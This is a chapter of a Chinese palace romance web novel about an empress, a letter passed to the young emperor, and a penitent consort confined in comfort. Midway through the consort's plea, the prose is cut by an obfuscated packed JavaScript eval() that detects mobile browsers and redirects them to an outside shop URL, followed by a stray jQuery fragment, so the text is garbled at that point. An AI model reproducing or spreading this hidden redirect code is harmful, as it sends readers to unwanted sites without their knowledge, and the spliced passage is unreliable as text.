在大街上抓到林初霁的半个时辰前,
书院的门虚掩着,江晚晴推门进去时,许清如正坐在廊下收拾书卷。
她抬头看见江晚晴,也没有意外,只是拍了一下手上的灰:“来了?”
江晚晴在她对面坐下:“你要走?”
许清如把最后一本书放进藤箱,合上盖子:“明天启程,去-永州讲学。那边的书院年初就递了信来,拖到现在,再不去不好了。”
江晚晴沉默了一瞬:“……不去见她一面再走?”
许清如的手在藤箱盖上停了一下,然后继续系好搭扣:
“不了。见了面,我又该舍不得走了。”
她说着,从袖中取出一封信,递给江晚晴:“帮我把这个带给她。”
江晚晴接过信,看了一眼信封,没有多问,收进袖中。
许清如重新坐下来,拍了拍膝上的灰:“她最近过得怎么样?”
江晚晴端起茶盏喝了一口:“天天嬉皮笑脸的,老是气我。”
许清如弯了一下嘴角:“她年纪还小,你不要老是欺负她。”
江晚晴放下茶盏,面无表情地看了她一眼:“都十八了,还年纪小?我看她比谁都精。”
许清如没有接话,她低头整理了一下袖口,像是忽然想起什么:“对了,以前在江南喜欢你的那个小女孩,现在结婚了没有?”
江晚晴的手指顿了一下。空气安静了片刻。然后她放下茶盏:
“都是以前的事了,现在哪有时间管这些。”
许清如没有追问,只是笑了一下,低头把藤箱的搭扣重新系了一遍。
“那你好好的。”许清如站起身,拍了拍裙摆上的灰。
江晚晴也站起来:“你也是。有时间常回来看看”
养心殿的门被推开时,温晏正蔫蔫地趴在桌案上,下巴搁在一叠奏折上,眼神放空。
江晚晴走到她面前,把那封信放在她面前。温晏连头都没抬,只是瞥了一眼,然后把脸埋进臂弯里,声音闷闷的:
“好烦啊……不想看……不想看……”
她伸出手,胡乱地挥了一下,把那封信扫到了地上。
“什么都别给我看……朕今天谁的信都不看……”
江晚晴弯下腰,捡起那封信,拿在手里掂了掂,语气平淡:“哦,好像是清如姐姐的信。”
她顿了顿,“你不想看,我就帮你处理了。”她转身作势要走。
温晏整个人像被按了开关一样,“嗖”地弹了起来。
她直接从椅子上滑下去,膝盖着地,一个极其顺滑、熟练的滑跪,连滚带爬地扑到江晚晴脚边,一把抢过那封信,像抢回什么失而复得的宝贝。
她飞快地拍了拍信封上的灰,然后举起来,“吧唧”亲了一口,声音带着哄小孩的语气,又软又甜:
“乖宝宝,刚才没摔疼你吧——对不起对不起——朕错了——朕不该乱扔的——”
她又低头亲了一口信封,然后小心翼翼地护在怀里,抬头瞪着江晚晴,一脸警惕:“……你这个坏人,刚才想把我的信拿去干什么?”
江晚晴看了她一眼,只说了两个字:“有病。”
然后转身往门口走,“看完赶紧批折子。我先回去了。”
温晏根本没有听见。她已经把全部注意力都收回了那封信上。
她捧着信坐回椅子上,手指沿着封口边缘极其小心地挑开,信纸还没完全展开,她的嘴角就已经开始往上翘。
信纸上的字迹清秀而舒展,许清如写了最近外面的一些事——哪个官员贪腐了,米价涨了又跌了,书院的桂花开了又谢了,还提到了一个小女孩跟猫打架的趣事。
末了她写了几行:“小晏,照顾好自己。晚晴身子不好,你多照看着些。你年纪不小了,少玩闹,多读书。书读多了,眼界会开阔。”
最后一行字写着:“好好吃饭。”
温晏把那封信看了一遍又一遍,直到她看完第二十遍的时候,终于把信纸放下来,脸上的笑意还挂着,但嘴角微微嘟了一下:
“……怎么不写一句想我了呀。”
江晚晴刚拐过凤仪宫前的宫道,就看见门口站着一个人,大包小包堆了一地,远看像逃难的,近看像要饭的。
含翠正站在旁边,一脸为难地劝着:“贵妃娘娘,您先进去等吧,皇后娘娘马上就回来了。”
林初霁抱着一个包袱,语气坚定:“不行,我要在这儿等她。我要让她看见我有多诚恳。”
她说着,还不忘把包袱又往怀里紧了紧,像在表演“啊~我是多么认真地来受罚”。
江晚晴停下脚步,看着那个被包袱淹没了大半的身影,沉默了片刻,然后开口:“你打算站到什么时候?”
林初霁猛地转过头,看见她站在几步之外,像是做贼被抓了现行一样,整个人僵了一瞬,然后飞快地扯出一个笑容:
“娘娘!您终于回来了!臣妾等您好久了!”
江晚晴没有接话,只是朝她微微抬了一下下巴,示意她进去:“进来吧。别站在这儿挡路。”
林初霁连忙弯腰去搬那些包袱,含翠上前想帮忙,她连忙摆手:“不用不用!我自己拿得动!”
她扛着大包小包跟在江晚晴身后,走路还有点摇摇晃晃。
走进殿内,江晚晴在椅子上坐下来,端起茶盏喝了一口,然后抬眼看着她:“东西先放下来。”
林初霁如释重负地把包袱卸下来,堆在墙角,然后规规矩矩地站在她面前,像一个等待发落的学生。
江晚晴看着林初霁站在面前,头发上还沾着一点草屑,衣领还没完全理好,
那副老老实实站着的模样,和当年那个卡在墙洞里、头发沾满蛛网的小身影,几乎一模一样。
她忽然想起很多年前那个下午。也是这样一个午后,阳光比现在更烈些。
她嫌那个总跟在身后叽叽喳喳吵得她心烦的小丫头太闹,索性把她关在了练武场的院门外,冷着脸吩咐守门的小厮谁也不准放她进来。
结果清静了不到半盏茶的功夫,就听见院墙角落传来窸窸窣窣的动静,夹杂着压低的、焦急的催促声。
她循声走去,就看见她被卡在墙洞中间,进不去也出不来,满脸通红,头上沾满了蛛网和灰,嘴里还在哼哼唧唧地抱怨:
“江桐桐…卡、卡住了…拉我一下呀…”
江桐在墙外使出吃奶的劲儿拽她胳膊,一边拽一边没心没肺地嘎嘎直乐:
“哎呀!小哭包你早上是不是又偷吃桂花糕了?怎么好像又胖了!嘿咻!加油!”
她当时额头青筋直跳,恨不得转身就走,当没认识过这两个丢人现眼的家伙。
最后还是她黑着脸,让侍卫上去把那个卡得结结实实的小笨蛋给“拔”了出来。
那天她顶着一头乱毛和满脸灰,看到她不仅不愧疚,反而眼睛一亮:“晚晴姐姐!你看!我进来啦!”
她当时冷冰冰地甩了一句:“再有下次,我就让人把这洞砌死。”
然后扭头就走,任凭她在后面一瘸一拐地追着喊“姐姐你别生气嘛”。
想起那段鸡飞狗跳的过往,江晚晴只觉得额角又开始隐隐作痛。
她放下茶盏,抬眼看向林初霁。
林初霁站在那儿,见江晚晴半天不说话,心里越发没底。
她偷偷抬眼瞄了一下江晚晴的脸色,心里一横,牙一咬“扑通”一声跪了下去,双手伏地,声音那叫一个诚恳,那叫一个痛心疾首:
“娘娘!臣妾知错了!真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832828|211357||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的知错了!臣妾反思!深刻反思!”
江晚晴低头看着她,声音淡淡的:“错在何处?”
林初霁抬起头,一脸悲壮:“是臣妾猪油蒙了心!是臣妾不知天高地厚!”
她越说越激动,“娘娘您大人有大量,饶了臣妾这一回吧!以后娘娘您说什么就是什么!
您让臣妾往东,臣妾绝不敢往西!
您让臣妾打狗,臣妾绝不敢撵鸡!
臣妾一定洗心革面,重新做人!
再也不敢了!真的再也不敢了!”她说得抑扬顿挫,感情充沛。
“起来。”
“啊?”
“起来。跪着像什么样子。”
林初霁愣了一下,连忙爬起来,低着头,不敢看她,正在等待最后的判决。
江晚晴看着她那副老实人的模样,沉默了片刻,然后开口:“去洗澡。”
林初霁愣了一下:“……啊?”
江晚晴抬眼,面无表情地重复了一遍:
“去洗澡。难道还要我帮你洗?”
林初霁的脸“唰”地红了,连耳朵尖都烫了起来:“不用不用!臣妾自己来!”
她一边说一边往后退,退到门边的时候还绊了一下门槛,差点摔倒。
她赶紧稳住身形,然后转身就跑,连滚带爬地消失。
江晚晴看着她跑掉的背影,沉默了一瞬,然后转过身,走到柜子前,打开门,从里面抽出一套干净的寝衣和被褥,叠好,走到床边,开始整理床铺。
含翠端着茶盘走进来,看见皇后正在铺床,手里的茶盘差点没端稳:“娘娘——奴婢来——”
江晚晴没有抬头:“没事。”她低头把被角仔细掖好,将枕头拍了拍,让它恢复蓬松的形状,又伸手抚平被面上的褶皱。
林初霁洗完澡回来时,整个人裹着一层热腾腾的水汽,衬得皮肤白里透红,头发还湿着,贴在脸颊边,身上带着皂角的清香。
她推开偏殿的门,看见江晚晴正坐在床沿上,被子已经铺好了,枕头也拍松了,整整齐齐的,像专门等一个人来睡。
她愣住了,站在门口,脚像被钉住了一样。
江晚晴听见脚步声,抬起头,朝她轻轻挥了一下手,像在叫一只刚洗完澡的小狗过来。
林初霁愣了一下,然后鬼使神差地走了过去,一步一步挪到床边。
她走近时,带着一身热腾腾的水汽和皂角的香味,飘进整间屋子。
江晚晴的手指在床沿上停了一下,然后若无其事地收回手,站起来:“这三天你就先睡在这里。”
林初霁站在床边,看了看那张铺得整整齐齐的床,又看了看江晚晴,脑子里还在懵。
凤仪宫关禁闭的条件这么好的吗?她原本以为自己会被关在柴房或者小黑屋里,结果不仅不用跪,还有洗澡水,有干净衣服,还有一张铺好的床……
这到底是惩罚还是奖励?
她脑子里闪过一个念头:不会是让我享受三天然后杀了我吧?
她低头看了看那张铺得整整齐齐的床,又抬头看了看江晚晴那张面无表情的脸,心一横,牙一咬,
在心里默念了一句:爹娘孩儿不孝啊!然后她深吸一口气,像是做好了随时英勇就义的准备,声音带着一种视死如归的慷慨:
“臣妾……谢娘娘隆恩。”
她说着,还极其郑重地弯了一下腰。
江晚晴已经走到门口,听见她那副“这可能是最后一晚”的语气,脚步微微顿了一下,没有回头:“放心,不会拿你怎么样”
林初霁猛地抬起头,愣愣地看着那道背影:“……啊?”
江晚晴已经推开门走了出去,声音从门缝里飘进来:“早点睡。明天还要早起,我要抽查你的宫规。”